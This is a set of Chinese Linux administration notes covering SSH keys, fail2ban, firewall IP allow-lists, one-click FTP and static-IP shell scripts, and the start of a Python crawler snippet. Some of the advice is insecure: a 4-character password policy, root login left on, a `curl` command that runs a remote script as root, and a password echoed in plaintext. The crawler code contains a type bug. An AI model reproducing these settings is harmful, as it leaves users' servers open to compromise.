# 登录密码及授权密钥简配,限制与封禁IP,并锁Root
## SSH密钥与密码策略简化
### 客户端
本机会将这一登录信息保存在`~/.ssh/known_hosts`文件当中,再次登录到远程服务器不用输入密码。
参数说明:
* -t 指定要创建的类型;-b 密钥长度;-f 指定文件名,名字随意。
* "-i"是指定公钥文件上传到服务器。
```
ssh-keygen -t rsa -b 4096 -f ~/.ssh/remote_ssh
```
```
ssh-copy-id -i ~/.ssh/remote_ssh.pub user@server
```
从[腾讯云-Linux多台服务器共用密钥ssh自动登陆](https://cloud.tencent.com/developer/article/2036440)得知,一份公钥可登录多台远程主机。
### 服务端
配置服务端的ssh密钥验证策略,选择是混合模式、密码模式,还是限定密钥模式访问。
编辑 /etc/ssh/sshd_config 文件,添加如下设置:
```
# 是否允许Public Key
PubkeyAuthentication yes
# 允许Root登录
PermitRootLogin yes
# 设置是否使用口令验证。
PasswordAuthentication no # no 代表任何人远程访问都只能通过密钥,除非去机房或VNC屏幕远程
```
重启SSH服务,`systemctl restart sshd.service`。
#### 设置ssh路径下的权限
```
chmod 700 /home/xxx && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
```
[csdn-ssh_config和sshd_config配置文件](https://blog.csdn.net/mynumber1/article/details/123699660),ssh_config和sshd_config,前者是针对客户端的配置文件,后者则是针对服务端的配置文件。
### 密码简化
配置密码策略,修改密码得像4位数的验证码一样简单。vi /etc/pam.d/system-auth
```
# 新增自定义密码策略配置 密码验证三次 不限特殊字符、大小写、最低3位长度
password requisite pam_pwquality.so try_first_pass local_users_only retry=3
password requisite pam_pwquality.so authtok_type= lcredit=0 ucredit=0 dcredit=0 ocredit=0 minlen=4
```
## 用户管理
### 与Windows、Mac上的创建用户对比
一键登录的lighthouse,据[老唐笔记](https://oldtang.com/9823.html)测试所述,该账户是具有 root 权限的,从`cat /etc/sudoers `的`lighthouse ALL=(ALL) NOPASSWD: ALL`可证 。
腾讯云自建用户不能SSH登录,看了[百家号-Linux普通用户赋予root用户部分命令权限](https://baijiahao.baidu.com/s?id=1728181364820928878&wfr=spider&for=pc)这篇文章,普通用户权限可以说小得可怜,除了钻空子去提权、特定场景做特定事,基本上勉强算是个临时的访客用户。
一、参考 [码农家园-linux新建用户无法登录ssh](https://www.codenong.com/cs106546599/),让普通用户也可以ssh登录。
1. `vi /etc/sshd_config` 添加 `AllowGroups root username` ([适用centos](https://zhuanlan.zhihu.com/p/451578551),`AllowUsers *@x.x.x.x`就可以了)
2. 重启服务 `/etc/init.d/ssh restart`
3. 或者创建`home/username/.ssh/authorized_keys` 再将公钥导入
二、普通用户的权限问题,加上个`chroot`指定特定环境,在这种沙盒的加持下,普通用户就更加做不了什么了。
1. 小到不能正常挂载外置盘符
```shell
%users ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom
```
2. 不能像我们正常配置网络、软件
```shell
%sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS
```
### 配置成 wheel组 or ALL用户
设置`ls -l` 成`ll`命令,并查看sudoers配置文件。
```shell
alias ll="ls -l" >> ~/.bashrc && ll /etc/sudoers
```
也就是修改文件加上的授权,修改完再取消就好了。也可以`visudo`来修改。权限部分参考:[菜鸟教程-Linux chmod命令](https://www.runoob.com/linux/linux-comm-chmod.html)
```shell
chmod u+w /etc/sudoers # 读写,u表示文件归属者
chmod u-w /etc/sudoers # 只读
```
腾讯云lighthouse例子,“%”应该是代表组的意思。
```shell
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment)
#includedir /etc/sudoers.d
# su 不需要密码
lighthouse ALL=(ALL) NOPASSWD: ALL
```
` vi /etc/ssh/ssh_config` 限制root ssh登录配置`PermitRootLogin no`。之后将wheel组的su,设置成免密sudo,`vi /etc/pam.d/su`,或取消注释`#auth`
```shell
sed -i '/#a/s/#a/a/g' /etc/pam.d/su
```
参考:
* [csdn-Linux新增ssh登录用户并加入sudo组](https://blog.csdn.net/xiunai78/article/details/84578529)(入个门了解)
* [csdn-Linux基础之系统安全及应用(su和sudo)](https://blog.csdn.net/fangxin_zonghuo/article/details/113944950)(pam模块解读)
* [csdn-Linux学习笔记之 修改pam.d/su让wheel组用户su切换到root时不用输入密码](https://blog.csdn.net/kfepiza/article/details/124701784)(限制用户切换成root)
* [csdn-sed -i 命令详解](https://blog.csdn.net/qq_42767455/article/details/104180726)(替换字符串)
## Ban IP的三种方式
### fail2ban
下载安装设置自启与启动fail2ban。
```
yum install -y fail2ban && systemctl enable fail2ban.service
```
配置 `vi /etc/fail2ban/jail.local` (复制时去掉中文注释。)
```
[DEFAULT]
ignoreip=127.0.0.1 #用于指定哪些地址(IP/域名等)可以忽路fai12ban防御,空格分隔
findtime=60 #检测扫描行为的时间窗口(单位:秒),和maxretry结合使用,60秒内失败2次即封禁
maxretry=2 #检测扫描行为的次数,和findtime结合使用,60秒内失败2次即封禁
bantime= -1 #封禁该ip的时间(单位:秒),-1为永久封禁
banaction=iptables-allports #封禁该ip的端口
[sshd]
enabled=true #启用ssh扫描判断器
port=22 #ssh的端口,如更换过ssh的默认端口请更改成相应端口
filter=sshd #启用ssh扫描判断器
logpath=/var/log/secure.log #系统行为记录日志,看系统版本
# 可以定制化发送邮件
sendmail-whois[name=SSH, dest=your@email.com, sender=fail2ban@example.com,sendername="Fail2Ban"]
```
启动服务 `systemctl start fail2ban.service`,fail2ban开始生效。
```
systemctl restart fail2ban
```
日志查看 `cat /var/log/fail2ban.log`
参考:[北京大学-fail2ban安装](https://its.pku.edu.cn/faq_fail2ban.jsp)
### config for home
自身所处IP网段,由于运营商的不同,以及地区的不同,通常公司与家里公网IP差异是很大的。虽然公网IP是临时的,但三五两天常常变动的话,一是要有足够的IP资源,二是运营商不断调配IP,也会极大增加维护人工时间与物力成本,更何况现在的家庭网络路由器都是公网IP一个IP共享给多个主机。相对来说,一般是十五天或一个月变更一次。
理解:[公网IP和内网IP有何区别?如何获得公网IP上网? - ipshu的文章 - 知乎](https://zhuanlan.zhihu.com/p/558884673)
hosts.deny,这种hosts等级的写入在CentOS8版本已废弃。用防火墙写规则吧。
CentOS7/8
```
systemctl restart network
```
```
systemctl start NetworkManager
```
结合阿里云客服提供经验,在自己所在地,百度下“IP”查地址,子网划分限制在8-16台主机基本上够用的了。即便是是局域网其实也差不多。
参考:
* [gitee - /etc/hosts.deny不生效(版本移除,以及默认不支持问题)](https://gitee.com/openeuler/kernel/issues/I29Z76)
* [try8-CentOS8网络配置教程(centos8,网卡重置命令变动)](https://try8.cn/article/10010)
* [csdn-CentOS8.5系统访问限制](https://blog.csdn.net/qq_41112887/article/details/121539810)
配合[ME2在线工具-子网划分工具](http://www.metools.info/other/subnetmask160.html)子网划分工具,轻松解决。
#### 防火墙
***启动防火墙 `systemctl enable firewalld && systemctl start firewalld`***
防火墙开启ICMP输入输出。
```
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type echo-reply -j ACCEPT
```
***仅放行自己IP示例。加一条就好了,相当于是仅对这一个IP网段放行,别的就拒掉。***
```·
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" port protocol="tcp" port="22" accept'
```
***防火墙ban掉对方ip 禁止192.168.128.137访问主机*** 如果要取消的话,将`--add`换成`--remove`就好。
```
firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="192.168.128.137" drop'
```
参数:filter,本地数据限制;-s源地址,-d目的地址,-p协议,--dport端口,-j行为/REJECT拒绝/ACCEPT同意/DROP丢弃。
```
firewall-cmd --direct -add -rule ipv4 filter INPUT 1 -s 172.25.254.50 -p tcp -dport 22 -j REJECT
```
参考:
* [博客园-Linux命令之firewall-cmd](https://www.cnblogs.com/diantong/p/9713915.html)
* [chinaunix-Linux使用防火墙firewall-cmd限制ssh只允许从指定IP段或指定源IP访问](http://blog.chinaunix.net/uid-20329764-id-5845291.html)
* [csdn-Linux系统上的防火墙命令](https://blog.csdn.net/weixin_43780179/article/details/125046304)
* [爱码网-linux下防火墙的管理工具firewall-cmd](https://www.likecs.com/show-203862572.html)
================================================
FILE: AQUICK/CLINUX/LINUXZERO-3.md
================================================
# Linux云服务器一键搭建自用FTP脚本
在水区做了调查,大家普遍对Linux FTP搭建很简单,不过从我自己的实际搭建过程中却不太容易。为此特意做了开源与笔记化的一键脚本,注释全面,方便后续的学习与交流。
* 安全:
* 私有化,限定自己的公网IP访问。
* 限制用户出逃共享目录之外的目录,可读写。
* 自定义用户名,密码符合Linux常规创建用户就行。
* 对获取客户端IP进行了优化,从本机登录信息获取IP信息,彻底杜绝了从监听SSH端口抓取IP被混淆的风险。
虽说scp上传与下载也挺方便,但不方便目录的整体管理。而且刚入手学习Linux的人来说知道宝塔、Zfile各种面板的人也是少数,做一键脚本的目的也是帮助新人少走弯路。
起手方式不需要了解虚拟用户映射及FTP验证、PAM模块原理,一键搞定FTP。 [源码Git仓地址](https://github.com/hoochanlon/ihs-simple/blob/main/d-shell/lite_vsftpd.sh)
```
sudo bash -c "$(curl -fL https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/ihs-simple/main/d-shell/lite_vsftpd.sh)"
```
最后在阿里云服务器的安全组,或腾讯云的防火墙放行21000端口,搞定。效果图如下:
图床由 https://cdn.jsdelivr.net 提供支持。
放行防火墙

已可读写

策略生效状态查看

后续的自定义,可略览如下相关文件,进行此方面相关的深入学习与研究。
* 共享目录:/var/ftp/share
* 访问配置文件 /etc/security/access.conf
* FTP配置文件: /etc/vsftpd/vsftpd.conf
* FTP模块支持文件: /etc/pam.d/vsftpd
最后,附源码:
```
# ********** 核心的五篇文档,csdn博主整理思绪排版较为清晰易读。************
## [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html)
## [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803)
## [csdn-腾讯云Linux 轻量应用服务器如何搭建 FTP 服务?](https://blog.csdn.net/zdc1228/article/details/128428207)
## [csdn-腾讯云服务器FTP连接不上](https://blog.csdn.net/qq_40787608/article/details/123411675)
## [腾讯云-Linux 轻量应用服务器搭建 FTP 服务](https://cloud.tencent.com/document/product/1207/47638)
## [zhihu-vsftp新建用户无法登录?](https://www.zhihu.com/question/268255821/answer/622810196?utm_id=0)
##
## 往后可以用这款了,配置web云盘分享:https://github.com/zfile-dev/zfile
## 共享文件格式NFS、SMB、FTP、WebDAV 各有何优势:https://blog.csdn.net/hdxx2022/article/details/127490158
#*******************************************************************
#********* 腾讯云文档提醒解读***************************
#
# FTP 可通过主动模式和被动模式与客户端机器进行连接并传输数据。
# 由于大多数客户端机器的防火墙设置及无法获取真实 IP 等原因,建议您选择被动模式搭建 FTP 服务。
# 如下修改以设置被动模式为例,您如需选择主动模式,请前往 设置 FTP 主动模式。
#
# 主动模式和被动模式的不同简单概述为:
# 主动模式传送数据时是“服务器”连接到“客户端”的端口(客户端开启数据端口);
# 被动模式传送数据是“客户端”连接到“服务器”的端口(服务端开启数据端口)。
# [csdn-FTP的主动模式和被动模式](https://blog.csdn.net/weixin_42039228/article/details/124338444)
#****************************************************
#-----------下载安装,专属用户创建与限定目录------------
# 添加用户,普通用户是没有权限登录SSH的,需要额外授权,不要紧。
# 完善起见,已 usermod -s /sbin/nologin ftpuser
yum install -y vsftpd
yum install lsof -y
sudo systemctl enable vsftpd
# 启动成功,默认开启匿名访问,但无权限修改或上传。
# 需提前打开否则在后面配置会报错。
sudo systemctl start vsftpd
sudo groupadd ftpusers
# 接收用户输入流,并创建ftpusers组用户
read -p "请输入创建FTP共享的用户名:" user_name && sudo useradd -g ftpusers $user_name
echo -e "$user_name 用户创建已完成 \n"
echo "⚠️ 注意:Linux初始密码规则,创建密码需要符合大小写及特殊字符等各项要求 ‼️"
echo -e "若已配置密码策略,可无视上面这条提示信息。"
echo -e "◉ 注:显示明文,方便密码核对后确认 \n"
# -s: 隐藏输入的数据,适用于机密信息的输入
read -p "请输入密码:" pass_word
# 将 P@ssw0rd 密码传递至passwd的标准输入(stdin)
echo $pass_word | passwd --stdin $user_name
# 限制登录终端
sudo usermod -s /sbin/nologin $user_name
# 创建FTP共享的特定目录
sudo sudo mkdir /var/ftp/share
echo "hello world " > /var/ftp/share/test.txt
# 授权 -R 递归;属主名:属组名
sudo chown -R ftpuser:ftpusers /var/ftp/share
#----------备份vsftpd.conf文件,与获取本机公网IP----------
# 这里配置修改以被动模式为例。
# 修改:查找与替换。先sed不加参数匹配试试水,配置完加个中文注释,方便理解。
# 源目录文件备份 vsftpd.conf.bak
cp -rp /etc/vsftpd/vsftpd.conf{,.bak}
# 获取Linux的本机公网IP
# 详情:https://blog.csdn.net/doris_9800/article/details/104620510
linux_public_ip=$(curl -s http://ip.tool.chinaz.com/ |grep 'class="fz24"' | awk -F '>|<' '{print$3}')
# 这获取IP的方式,有被混淆的风险,毕竟有ssh插队的风险,注释掉
# get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
# 新的获取IP方式,获取Windows或Mac电脑的IP 客户端
get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')
# cut
# -d 表示需要需要使用自定义切割符
# -f2 表示对切割后的几块内容选择第2部分输出
# -f1 表示对切割后的几块内容选择第1部分输出
#------------------------------------------------------
#************************说明性文档***************************************
#
# local_enable=YES #支持本地用户登录
# chroot_local_user=YES #全部用户被限制在主目录
# chroot_list_enable=YES #启用例外用户名单
# chroot_list_file=/etc/vsftpd/chroot_list #指定用户列表文件,该列表中的用户不被锁定在主目录
#
#*********************************************************************
#-----------配置用户基本策略:禁匿名、将访问限制在规定目录、ipv4----------
# 在12行全局换成anonymous_enable=NO
sed -i '12canonymous_enable=NO' /etc/vsftpd/vsftpd.conf
## 100、101、103行去掉注释,配置chroot如上各项。
sed -i '100,101s/^#//' /etc/vsftpd/vsftpd.conf
sed -i '103s/^#//' /etc/vsftpd/vsftpd.conf
# 将Listen=NO换成Listen=YES
sed -i 's/listen=NO/listen=YES/' /etc/vsftpd/vsftpd.conf
# 在123行首追加注释,即关闭IPv6 sockets
sed -i '123s/^/# /' /etc/vsftpd/vsftpd.conf
# 在52行首取消注释,打开日志记录
sed -i '52s/^#//' /etc/vsftpd/vsftpd.conf
# 开启被动模式 pasv_enable=YES
# pasv连接模式时的最小端口、最大连接端口
# 这里只要把最小端口号和最大端口号配置成一样的,就成了开放固定端口了
# allow_writeable_chroot=YES 在限制目录下可写入
echo -e "
local_root=/var/ftp/share
allow_writeable_chroot=YES
pasv_enable=YES
pasv_address=$linux_public_ip
pasv_min_port=21000
pasv_max_port=21000
" >> /etc/vsftpd/vsftpd.conf
# 创建文件,否则会即使有用户也登录不上,不需要其他权限,ftpuser不访问这个文件
# 推测程序编写的逻辑是靠这一“小文件”来对策略进行决策的,配置开启了这功能,然后又没有文件自然乱套了。(编码人员没想那么多吧,可能不想管...)
touch /etc/vsftpd/chroot_list
## chroot_list_file=/etc/vsftpd/chroot_list 打开限制名单文件配置
# 注释第4行 auth required pam_shells.so 模块认证。
sudo sed -i '4s/^/#/' /etc/pam.d/vsftpd
#------pam_access.so是模块,会调用到配置文件/etc/security/access.conf------
# [csdn-实战vsftp针对用户和IP访问控制](https://blog.csdn.net/weixin_58400622/article/details/126438957)
# /etc/pam.d/vsftpd (模块配置文件)
## 备份/etc/pam.d/vsftpd
cp -rp /etc/pam.d/vsftpd{,.bak}
# 在第7行前插入模块
sudo sed -i '7i\account required pam_access.so' /etc/pam.d/vsftpd
# access.conf
## 备份access.conf文件
cp -rp /etc/security/access.conf{,.bak}
## 将最后一个规则定义为全部拒绝,表示只有自己允许的例外条件
## 经测试网上的文章提到的‘@用户组名’配置已过时
echo -e "
+:ftpusers:$get_my_ip
-:ALL:ALL
" >> /etc/security/access.conf
#---------------------------------------------------
# 启动ftp服务。
sudo systemctl restart vsftpd
echo -e "***调试专用代码***"
echo 'scp /Users/chanlonhoo/Desktop/1.sh root@101.xxx.xxx.xxx:${HOMEPATH}'
echo -e "rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old"
echo -e "查看所有用户信息:cat /etc/passwd"
echo -e "新建用户,添加FTP共享组:useradd -G ftpusers <用户名称>"
echo -e "已有用户,添加FTP共享组:usermod -a -G ftpusers <用户名称>"
echo -e "***************** \n"
echo -e "\n ****************FTP基本说明与概况******************** \n"
echo -e "FTP专属用户已创建完成:$user_name ;密码:$pass_word"
echo -e "FTP共享目录位置:cat /var/ftp/share"
echo -e "重要 ‼️ :注意在阿里云安全组,或腾讯云服务器防火墙,放行21000端口。"
echo -e "\n至此,FTP搭建已完成,下面是FTP相关配置简览"
echo -e "查看FTP历史访问记录:/var/log/xferlog"
echo -e "核心配置文件:vi /etc/vsftpd/vsftpd.conf"
echo -e "FTP限制用户及IP访问文件:vi /etc/security/access.conf\n"
echo -e "Windows可以用文件管理器访问,就可以上传下载了。"
echo -e "Mac推荐使用Cyberduck、FileZilla、ForkLift访问,自带访达对FTP功能支持不完善。\n"
# 删除自身
rm -rf $0
# 可能该项说明对初次上手的用户是干扰
# echo -e "用户访问其他目录限制配置文件:/etc/vsftpd/chroot_list"
# echo -e "具体操作方法为:填写想要随意访问路径的用户名,一个用户名,占据一行。\n"
#*********参考***********************
## ftp
### [csdn-linux如何查看端口是否开放](https://blog.csdn.net/blueheartstone/article/details/127045442)
### [csdn-shell if else 语句 写成一行](https://blog.csdn.net/qq_29060627/article/details/126471917)
### [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html)
### [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803)
### [csdn-FTP被动模式服务器端开有限的端口](https://blog.csdn.net/chipiqiao3947/article/details/100857760)
### [zhihu-vsftpd超实用技巧详解(二)-限制用户逃出家目录](https://zhuanlan.zhihu.com/p/77325423)
## python http server
### [【SimpleHTTPServer】Linux/上使用 python -m SimpleHTTPServer 快速搭建http服务](https://blog.csdn.net/michaelwoshi/article/details/102991018)
### [csdn-python3 报错 No module named SimpleHTTPServer](https://blog.csdn.net/hotpotbo/article/details/88227301)
### [知晓号-linux开端口命令(服务器开启端口命令)](https://www.dkper.com/27137.html)
## smb
### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html)
### [csdn-Linux之SAMBA服务——SMB协议](https://blog.csdn.net/qq_46839776/article/details/119939755)
### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html)
## 字符串处理
#### [51cto-sed插入行](https://blog.51cto.com/u_4296776/5369128)
#### [csdn-vim配置高亮显示](https://blog.csdn.net/heimao0307/article/details/79757274)
#### [linux 的curl grep awk 联合查询----小练习](https://blog.csdn.net/doris_9800/article/details/104620510)
#****************插曲***********************************
## [灰信网-VSFTPD 启动异常 (CODE=EXITED, STATUS=2)](https://www.freesion.com/article/6269698160/),忘记sed 加 -i 了...
## 组创建失败也会出现登录异常,服务器上不存在该共享。请检查该共享的名称,然后再试一次
## [csdn-Linux系统用户添加到用户组](https://blog.csdn.net/shenyunsese/article/details/124449334)
## [csdn-usermod命令的 -s使用方法](https://blog.csdn.net/qq_42276808/article/details/104145927)
## Linux查看用户所属组 groups ftpuser 创建组:groupadd ftpusers
## 新建用户并将其加入指定用户组,作为其主用户组(每个用户有且只有一个主用户组)
## 新建用户,并关联组
## useradd -g <用户组名称> <用户名称>
## 或者 新建用户并将其加入指定附属用户组,附属用户组可以有多个,多个附属组名称用逗号分隔即可
## useradd -G <用户组名称> <用户名称>
## 已有用户
## -a 代表append,和 -G 一起使用,将用户添加到新用户组中而不必离开原有的其他用户组
## usermod -a -G <用户组名称> <用户名称>
## 谷歌云,默认开启selinux的。国内机器,默认关闭内部的防火墙。
## 如果您服务器内部启用了防火墙,那是要两边一起做策略的。
## 腾讯默认是放开端口的,除非额外限制,目前的策略来看。
# 来自 [csdn-关闭防火墙是否就默认所有端口打开](https://blog.csdn.net/weixin_39166924/article/details/98754038)
# 默认的应该是不防护已开放端口了,端口是否打开的根本是取决于你开的服务或者是应用,
# 这些才会去打开原本没有打开的端口,防火墙只不过在开启的时候会对这些端口做防护而已,并不是防火墙开的这些端口。
# 比如80端口,你只有做了web应用,如iis等服务器上才会打开80端口,这时候防火墙可能会保护80端口,
# 使外面的用户无法访问,但关闭了防火墙,防护取消就可以正常访问了,所以防火墙并不是打开80的根本
```
================================================
FILE: AQUICK/CLINUX/LINUXZERO-4.md
================================================
# Linux一键简单配置IP地址(永久生效)
## 缘起
我自己了解Linux的时间也不长,大概就最近阿里云和腾讯云白嫖的两月左右。从我自己的体验来看,Linux各项配置挺繁琐、容错率低,加上设置IP可算的上常用项了,一开始上就“vi /etc/sysconfig/network-scripts/ifcfg-eth0”,各项配置甩手扑面,对新手来说,我是觉得有些强人所难了一些。
为此,我也做了一次一键简单配置IP脚本前做了个小调研,[大家对Linux的IP配置是否觉得操作不便,上手不易?(出处: 吾爱破解论坛)](https://www.52pojie.cn/thread-1752830-1-1.html)。

以我个人最近查阅资料所获得的经验来看,感觉很轻松的,多数是较为老手的。对 network-scripts/ifcfg-eth0 比较熟,或者对nmcil做过功课与了解。
## 效果一览
先上一键简单配置脚本的效果图。附源码在最后。

基本上都是边学习,边分析的写代码,所以注释会很多。写源码时的网卡配置比对工作与查阅的资料单独拎出来,方便大家查阅。
### Linux 网卡配置比对
* 如果同时设置了动态获取IP和静态IP,那么静态IP将不再有效。系统会优先使用动态获取IP的配置。(试验机CentOS 8)
* bootp 是一种比较老的协议,几乎已经过时了,dhcp 是 bootp 的一种扩展,与 bootp 兼容。
* none 不禁用网卡,暂时也不用静态IP,如果指定静态IP就用静态的,我想是特殊装机环境。
系统出厂的ifconfig-eth0初始配置如下:
```shell
BOOTPROTO=dhcp 协议类型: dhcp bootp none
HWADDR=52:54:00:35:3a:ac mac地址
ONBOOT=yes 启动时是否激活 yes | no
PERSISTENT_DHCLIENT=yes 持久化选项,持续响应DHCP获取IP yes|no|1|0
TYPE=Ethernet 网卡类型为以太网
USERCTL=no 是否允许非root用户控制该设备 yes/no
```
nmcil添加IP、掩码、网关后,ifconfig-eth0生成的后续额外项
```shell
PROXY_METHOD=none 代理关闭
BROWSER_ONLY=no 代理只限于浏览器?yes or no
IPADDR=172.24.10.150
PREFIX=24 也可以写为(METMASK=255.255.255.0但是二者一般只写其中的一种)
GATEWAY=172.24.10.100
DNS1=172.24.10.254
DNS2=172.24.10.253
DEFROUTE=yes 默认路由开启,数据包的出口。
IPV4_FAILURE_FATAL=no 关闭错误检测
IPV6INIT=no ipv6关
IPV6_DEFROUTE=yes 开启ipv6默认路由设置
IPV6_FAILURE_FATAL=no 关闭错误检测
NAME="System eth0" 标识网络设备名称 (基于nmcil管理)
UUID=5fb06bd0-0bb0-7ffb-45f1-d6edd65f3e03 唯一表示码,可通过uuidgen eth0 生成
```
## 推测与分析
我在实验过程中发现 `nmcli con mod "System eth0" ip4 10.10.10.10/24 gw4 10.10.10.1 ` 重复输入几次的话,会一个网卡绑定多个IP。查阅[51cto-快速上手Apache](https://blog.51cto.com/u_14519396/6000235):如果一台服务器有多个IP地址,而且每个IP地址与服务器上部署的每个网站一一对应,这样当用户请求访问不同的IP地址时,会访问到不同网站的页面资源。 再配置一遍动态DHCP时,难怪我就理解了,centos8只要存在DHCP项,下面的静态配置就失去了效果。
`nmcli con mod "System eth0" ip4 10.10.10.10/24 gw4 10.10.10.1`这条命令非常“智能”,我在实验过程中删掉了所有静态IP,在没重置网络的情况下,是能迅速恢复所有之前加入过的一条条静态IP配置的;反之,网络重载,就初始化了。
实际上多出来的这些参数是默认的,我们只保留 IPADDR、METMASK、GATEWAY、DNS2、DNS1 就好了。此外,Linux的网驱命名,NAME键值eth0可改为其他的命名,更改文件:`/etc/udev/rules.d/70-persistent-net.rules `
## 成形代码
附源码: https://github.com/hoochanlon/ihs-simple/blob/main/d-shell/study_nmcil2.sh
```shell
# **************调试代码************************
# cat /etc/sysconfig/network-scripts/ifcfg-eth0
# nmcli c mod "System eth0" \
# ip4 172.24.10.150/24 \
# gw4 172.24.10.100 \
# ipv4.dns 172.24.10.254 \
# ipv4.method manual autoconnect yes
# rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old
# echo "192.168.0.1 255.255.255.0 192.168.0.11" > ${HOMEPATH}add_ip_net.txt
# echo "192.168.0.1,255.255.255.0,192.168.0.11" > ${HOMEPATH}add_ip_net.txt
# echo "192.168.0.1/24 192.168.0.11" > ${HOMEPATH}add_ip_net.txt
#************************************************
#********** 开始配置 network-scripts/ifcfg-eth0 *******************
echo -e "注意,该脚本适用于个人便利性及新手使用。 \n"
# 原则上是适配centos 8的,为了一定程度上的便利,将从network manager抓取设备名。
# 获取首行的网卡设备,提取到网卡设备别名。
# ifconfig -s、netstat -i 显示网卡清单
# nmcli device |awk 'NR==2{print $4,$5,$6}'
a_eth=$(nmcli device |awk 'NR==2{print $1}')
# sed 检查文本是否存在关键字,有则删除行
sudo sed -i '{/IPADDR=/d;/GATEWAY=/d;/PREFIX=/d;/METMASK=/d;}' "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
# sed 匹配 “BOOTPROTO=dhcp”,整行替换
sudo sed -i 's/BOOTPROTO=dhcp/BOOTPROTO=none/g' "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
echo -e "支持 192.168.0.1/24 格式,可空格或逗号分段:IP 子网掩码 网关 \n"
read -p "请输入IP、子网掩码、网关: " add_ip_net
# 传入到文本进行分割取值
echo "$add_ip_net" > ${HOMEPATH}add_ip_net.txt
if [ ! "$(cat ${HOMEPATH}add_ip_net.txt|grep '/')" ]; then
a_ip=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $1}')
a_mask=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $2}')
a_gateway=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, ' ']" '{print $3}')
# 插入
sudo echo "
IPADDR=$a_ip
METMASK=$a_mask
GATEWAY=$a_gateway
" >> "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
else
a_ip=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $1}')
a_prefix=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $2}')
a_gateway=$(cat ${HOMEPATH}add_ip_net.txt|awk -F "[, / ' ']" '{print $3}')
# 插入
sudo echo "
IPADDR=$a_ip
PREFIX=$a_prefix
GATEWAY=$a_gateway
" >> "/etc/sysconfig/network-scripts/ifcfg-$a_eth"
fi
rm -rf ${HOMEPATH}add_ip_net.txt
systemctl restart network
echo "修改成功。小推荐:yum install -y ipcalc (子网掩码换算器)"
echo '若将网络设置成自动获取,输入此条指令即可:nmcli con mod "System eth0" ipv4.method auto'
echo '若后续添加DNS,输入该指令生效:nmcli c mod "System eth0" ipv4.dns 1.1.1.1,223.5.5.5'
```
## 参考资料
**网络配置,主要集中于对nmcil的理解**
* [qiita-nmcliコマンドの隅をつつく](https://qiita.com/kanatatsu64/items/b7b8eca17202386d27e3)
* [Linux网络架设篇,虚拟机l系统中网卡设备名与配置文件不符如何处理?](https://www.bbsmax.com/A/o75NB3Ex5W/)
* [知乎-BOOTP和DHCP有什么区别?](https://www.zhihu.com/question/57081221)
* [bookstack-IPv4的dhclient守护进程持久化配置](https://www.bookstack.cn/read/openeuler-1.0-base/Administration-IPv4的dhclient守护进程持久化配置.md)
* [csdn-linux静态地址于dhcp共存,linux dhcp 获取ip地址能上网,设置静态ip地址则不能上网...](https://blog.csdn.net/weixin_42513170/article/details/116880156)
* [爱码网-linux——网络文件的配置](https://www.likecs.com/show-205084292.html)
* [csdn-配置静态IP地址(centos和ubuntu)](https://blog.csdn.net/weixin_47661174/article/details/125894194)
* [Linux系统中手动配置IP地址(CentOS 7、8为例)](https://blog.csdn.net/weixin_44411385/article/details/123499862)
* [nmcli详解](https://blog.csdn.net/wq1205750492/article/details/124497231)
* [csdn-Linux中nmcli命令详解](https://blog.csdn.net/yulin003/article/details/125561203)
* [csdn-RHEL8使用nmcli配置网络](https://blog.csdn.net/omaidb/article/details/120028501)
* [51cto-快速上手Apache](https://blog.51cto.com/u_14519396/6000235)
* [电子发烧友论坛-嵌入式Linux下如何设置永久ip和临时ip地址](https://bbs.elecfans.com/jishu_2190937_1_1.html)
* [9.2. 使用 NetworkManager 命令行工具 nmcli](https://access.redhat.com/documentation/zh-cn/red_hat_enterprise_linux/7/html/networking_guide/sec-network_bridging_using_the_networkmanager_command_line_tool_nmcli)
**文本处理**
* [csdn-shell编程 sed 命令追查找[关键字] 并在该行附近修改文本](https://blog.csdn.net/lingyiwin/article/details/126022315)
* [csdn-Linux sed 关键字匹配整行中任意字符进行替换(正则表达式整行替换)](https://blog.csdn.net/weixin_44190581/article/details/124266264)
* [csdn-Linux三剑客之awk命令详解](https://blog.csdn.net/qq_57377057/article/details/126254525)
================================================
FILE: AQUICK/CPYTHON/pachong001.md
================================================
## 简单爬虫示例一
### 简单入门
爬虫简例:
```python
import requests
url = 'https://www.example.com'
response = requests.get(url)
# 状态码正常
if response.status_code == 200:
# wb 以二进制写入,以避免出现编码转换错误和数据截断等问题,稳定且通用。
# 在 with 块中打开的资源会在块结束时自动关闭,无论原始代码是否引发异常。
with open('example.html', 'wb') as f:
f.write(response.text)
print('网页内容已保存到 example.html 文件!')
else:
